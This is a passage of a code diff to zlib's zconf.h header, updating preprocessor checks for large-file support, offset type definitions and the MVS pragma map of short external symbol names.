+#if defined(STDC) || defined(Z_HAVE_STDARG_H)
+#  ifndef Z_SOLO
+#    include <stdarg.h>         /* for va_list */
+#  endif
+#endif
+
+#ifdef _WIN32
+#  ifndef Z_SOLO
+#    include <stddef.h>         /* for wchar_t */
+#  endif
+#endif
+
+/* a little trick to accommodate both "#define _LARGEFILE64_SOURCE" and
+ * "#define _LARGEFILE64_SOURCE 1" as requesting 64-bit operations, (even
+ * though the former does not conform to the LFS document), but considering
+ * both "#undef _LARGEFILE64_SOURCE" and "#define _LARGEFILE64_SOURCE 0" as
+ * equivalently requesting no 64-bit operations
+ */
+#if defined(_LARGEFILE64_SOURCE) && -_LARGEFILE64_SOURCE - -1 == 1
+#  undef _LARGEFILE64_SOURCE
+#endif
+
+#if defined(__WATCOMC__) && !defined(Z_HAVE_UNISTD_H)
+#  define Z_HAVE_UNISTD_H
+#endif
+#ifndef Z_SOLO
+#  if defined(Z_HAVE_UNISTD_H) || defined(_LARGEFILE64_SOURCE)
+#    include <unistd.h>         /* for SEEK_*, off_t, and _LFS64_LARGEFILE */
+#    ifdef VMS
+#      include <unixio.h>       /* for off_t */
+#    endif
+#    ifndef z_off_t
+#      define z_off_t off_t
+#    endif
+#  endif
+#endif
+
+#if defined(_LFS64_LARGEFILE) && _LFS64_LARGEFILE-0
+#  define Z_LFS64
+#endif
+
+#if defined(_LARGEFILE64_SOURCE) && defined(Z_LFS64)
+#  define Z_LARGE64
+#endif
+
+#if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS-0 == 64 && defined(Z_LFS64)
+#  define Z_WANT64
+#endif
+
+#if !defined(SEEK_SET) && !defined(Z_SOLO)
 #  define SEEK_SET        0       /* Seek from beginning of file.  */
 #  define SEEK_CUR        1       /* Seek from current position.  */
 #  define SEEK_END        2       /* Set file pointer to EOF plus "offset" */
 #endif
+
 #ifndef z_off_t
-#  define  z_off_t long
+#  define z_off_t long
+#endif
+
+#if !defined(_WIN32) && defined(Z_LARGE64)
+#  define z_off64_t off64_t
+#else
+#  if defined(_WIN32) && !defined(__GNUC__) && !defined(Z_SOLO)
+#    define z_off64_t __int64
+#  else
+#    define z_off64_t z_off_t
+#  endif
 #endif
 
 /* MVS linker does not support external names larger than 8 bytes */
 #if defined(__MVS__)
-#   pragma map(deflateInit_,"DEIN")
+  #pragma map(deflateInit_,"DEIN")
-#   pragma map(deflateInit2_,"DEIN2")
+  #pragma map(deflateInit2_,"DEIN2")
-#   pragma map(deflateEnd,"DEEND")
+  #pragma map(deflateEnd,"DEEND")
-#   pragma map(inflateInit_,"ININ")
+  #pragma map(deflateBound,"DEBND")
-#   pragma map(inflateInit2_,"ININ2")
+  #pragma map(inflateInit_,"ININ")
-#   pragma map(inflateEnd,"INEND")
+  #pragma map(inflateInit2_,"ININ2")
-#   pragma map(inflateSync,"INSY")
+  #pragma map(inflateEnd,"INEND")
-#   pragma map(inflateSetDictionary,"INSEDI")
+  #pragma map(inflateSync,"INSY")
-#   pragma map(inflate_blocks,"INBL")
+  #pragma map(inflateSetDictionary,"INSEDI")
-#   pragma map(inflate_blocks_new,"INBLNE")
+  #pragma map(compressBound,"CMBND")
-#   pragma map(inflate_blocks_free,"INBLFR")
+  #pragma map(inflate_table,"INTABL")
-#   pragma map(inflate_blocks_reset,"INBLRE")
+  #pragma map(inflate_fast,"INFA")
-#   pragma map(inflate_codes_free,"INCOFR")
+  #pragma map(inflate_copyright,"INCOPY")
-#   pragma map(inflate_codes,"INCO")
-#   pragma map(inflate_fast,"INFA")
-#   pragma map(inflate_flush,"INFLU")
-#   pragma map(inflate_mask,"INMA")
-#   pragma map(inflate_set_dictionary,"INSEDI2")
-#   pragma map(inflate_copyright,"INCOPY")
-#   pragma map(inflate_trees_bits,"INTRBI")
-#   pragma map(inflate_trees_dynamic,"INTRDY")
-#   pragma map(inflate_trees_fixed,"INTRFI")
-#   pragma map(inflate_trees_free,"INTRFR")
 #endif
 
-#endif /* _ZCONF_H */
+#endif /* ZCONF_H */